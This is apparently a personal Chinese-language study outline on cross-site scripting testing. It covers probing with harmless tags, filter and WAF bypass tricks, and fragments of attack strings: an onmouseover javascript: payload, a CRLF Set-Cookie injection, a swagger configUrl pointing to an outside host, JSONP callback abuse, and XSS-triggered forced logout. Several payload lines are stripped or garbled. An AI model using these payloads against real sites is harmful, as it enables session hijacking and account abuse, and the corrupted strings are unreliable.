XSS学习记录

XSS学习记录_第1张图片

  • XSS

    • 宗旨

      • 见框就插
        • 只要能够输入的地方都要去尝试

    • 误区

      • 不要直接打弹框payload
        • 必须使用探测payload而不是攻击payload

      • 你咋知道它就有xss?
        • 不要上来就是

          • 1.waf直接给你拦截了,你 payload 根本打不进去

          • 2.对方后端就过滤死了不让你使用这种明显的标签

          • 3.对方压根就不允许弹框

    • 正确测试方法

      • XSS 的实际探测应该使用无危害的标签,XSS的本质原理不就是解析了用户插入的标签,那么既然是解析标签,那么为什么不能插入没有攻击危害的标签进行先探测 XSS 呢?如果解析标签成功,确认存在 XSS,你再一步一步绕过那“三个大麻烦”组合成最重要的弹框就不可以了!

        • 123

          123

          123

          123

          # 123#//--+ ' ">123#//--+

    • 标签测试靶场
      • http://test.ctf8.com/

    • 过waf原理

      • repeater中不断尝试标签闭合payload,看返回包是否payload完整地返回且被解析,再出去看页面是否弹框

        • 技巧小tips
          • 空格用%20替换

          • 空格用+替换

          • 空格用%0a换行替换

          • alert()替换为confirm()或prompt()

    • 绕过手段

      • 双写

      • 大小写

      • 属性名

        • 比如onerror替换为onxxx

      • 闭合绕过

        • 部分标签可以执行脚本,无需闭合

          • 如div

            [输出]

        • 部分标签无法执行脚本,需要先闭合

          • 如下几个

      • 单引号被禁用’‘

        • 反单引号··

        • 斜杠//

      • 过滤括号()

        • 反单引号··

      • 空格的替换

        • %09 %0a %0b %0c %0d %a0 / +等

      • <>被过滤(前提是输入的内容出现在value值中

        • 如果<>被过滤,但是下面的标签里会输出内容,可以通过伪协议绕过 payload=hello"οnmοuseοver='javascript:alert(1)

      • 编码绕过

      • 一般多种方式组合进行绕过

  • 文件上传XSS

    • PDF-XSS

    • HTML-XSS

    • SVG-XSS

  • 特殊类型XSS

    • swagger-Xss漏洞
      • ?configUrl=https://xss.smarpo.com/test.json

    • jsonp导致的XSS
      • https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction通过修改jsoncallback的值构成payload解析

    • CRLF注入导致的XSS(nginx)
      • %0a%0d%0a%0dSet-Cookie:%20id=admin

    • 编辑器链接处xss
      • 直接insert这些payload

        • " medium-->芭«'È+ý°ript>alert(4) 'óÐ ¡Ð'»iýÈæ+ý£° οnmοuseοver=i alert(9)j >"'> >"'>

          I "+alert(16)+"

    • XSS和CSRF组合利用
      • 最出名的就是xss+csrf漏洞退出,就是一个人在评论区,或者头像名称插入 xss,src 指向的是退出接口,这样只要有人触发了xss,就会强制退出账 号,算是一个 xss 的高危利用。

        • ‘ ’‘>#

    • 编码XSS
    • 冷门payload

    • [email protected]